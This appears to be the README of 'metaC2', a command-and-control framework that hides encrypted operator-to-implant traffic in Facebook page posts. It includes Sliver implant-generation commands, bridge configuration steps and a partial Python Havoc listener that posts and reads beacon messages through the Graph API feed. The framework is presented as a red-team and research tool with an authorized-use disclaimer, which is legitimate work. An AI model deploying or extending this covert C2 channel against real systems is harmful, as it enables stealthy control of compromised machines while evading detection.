metaC2

A lightweight and modular Command & Control (C2) framework built for security research, red team exercises, and authorized penetration testing. Supports custom scripts and APIs for integration with external security tools and C2 frameworks.

Disclaimer: This project is intended for authorized security testing, and research only. Do not use it on systems you do not own or have explicit permission to test. Watch at youTube https://www.youtube.com/watch?v=TXfndIsRFgc

Architecture

┌────────────────────────────────────────────────────────────-─┐
│                    Facebook Public API                       │
│              (Encrypted Command Channel)                     │
└────────┬─────────────────────────────────────┬───────────────┘
         │                                     │
         │                                     │
    ┌────▼────────┐                    ┌──────▼─────┐
    │   C2 Server │                    │    Agent   │
    │  (Operator) │◄─────────────────▶│  (Target)  │
    │             │   AES-256-CBC      │            │
    └─────────────┘   Encrypted        └────────────┘
                      Posts

Configure Facebook Credentials

# Get Page ID and Access Token from Facebook Graph API
export FACEBOOK_PAGE_ID="your_page_id"
export FACEBOOK_ACCESS_TOKEN="your_access_token"
export C2_SHARED_SECRET="your_32_byte_shared_secret_key"

Integration with Sliver C2

Overview

Integrate meta C2 with Sliver to leverage Sliver's post-exploitation capabilities while maintaining covert Facebook communication.

Architecture

┌──────────────────┐
│  Sliver Operator │
└────────┬─────────┘
         │
         │ (Sliver Commands)
         ▼
┌──────────────────────────────────┐
│   Facebook C2 Bridge             │
│  (c2_sliver_bridge.py)           │
└────────┬─────────────────────────┘
         │
         │ (Facebook API)
         ▼
┌──────────────────────────────────┐
│   Sliver Agent (Target System)   │
│  - Full post-exploitation        │
│  - Persistence modules           │
│  - Privilege escalation          │
└──────────────────────────────────┘

Setup

Step 1: Deploy Sliver

# Terminal 1: Sliver Server
sliver-server

# In Sliver operator
sliver > http
sliver > generate --http 192.168.1.100:8080 --os windows

Step 2: Configure Bridge

Edit c2_sliver_bridge.py:

FACEBOOK_PAGE_ID = "your_page_id"
FACEBOOK_ACCESS_TOKEN = "your_token"
SLIVER_HOST = "your_sliver_server_ip"
SLIVER_PORT = 13841  # Default gRPC port

Step 3: Start Bridge

export C2_SHARED_SECRET="your_secret"
export SLIVER_TOKEN="your_sliver_token"

python c2_sliver_bridge.py

Step 4: Use Bridge

c2-sliver> sessions
[+] Active Sessions:
    ID: 4de327aa
    User: administrator
    Host: DESKTOP-WIN10

Integration with Havoc C2

Overview

Create custom Havoc listeners that tunnel through Facebook for covert communication.

Architecture

┌──────────────────┐
│ Havoc Operator   │
└────────┬─────────┘
         │
         │ (Havoc Protocol)
         ▼
┌──────────────────────────────────┐
│   Facebook Havoc Listener        │
│  (havoc_facebook_listener.py)    │
└────────┬─────────────────────────┘
         │
         │ (Facebook API Encrypted)
         ▼
┌──────────────────────────────────┐
│   Havoc Beacon (Target System)   │
│  - Havoc post-exploitation       │
│  - Demon modules                 │
│  - Full framework features       │
└──────────────────────────────────┘

Implementation

Step 1: Create Custom Listener

# havoc_facebook_listener.py
class FacebookHavocListener:
    """Custom Havoc listener using Facebook API"""
    
    def __init__(self, config):
        self.page_id = config['page_id']
        self.token = config['token']
        self.graph_url = f"https://graph.facebook.com/v25.0/{self.page_id}/feed"
        self.setup_encryption()
    
    def send_to_beacon(self, beacon_id, data):
        """Send encrypted data to beacon"""
        encrypted = self.encrypt_data(data)
        payload = {
            "message": f"[BEACON:{beacon_id}] {encrypted}",
            "access_token": self.token
        }
        return requests.post(self.graph_url, data=payload)
    
    def recv_from_beacon(self):
        """Receive beacon callbacks"""
        response = requests.get(self.graph_url + "?access_token=" + self.token)
        # Parse and decrypt responses
        # Return to Havoc operator

Step 2: Register Listener

# In Havoc operator
Listeners → Custom Listener → Facebook C2

Step 3: Generate Beacon

# In Havoc
Payload Generator → Select Facebook Listener
Generate beacon with Facebook transport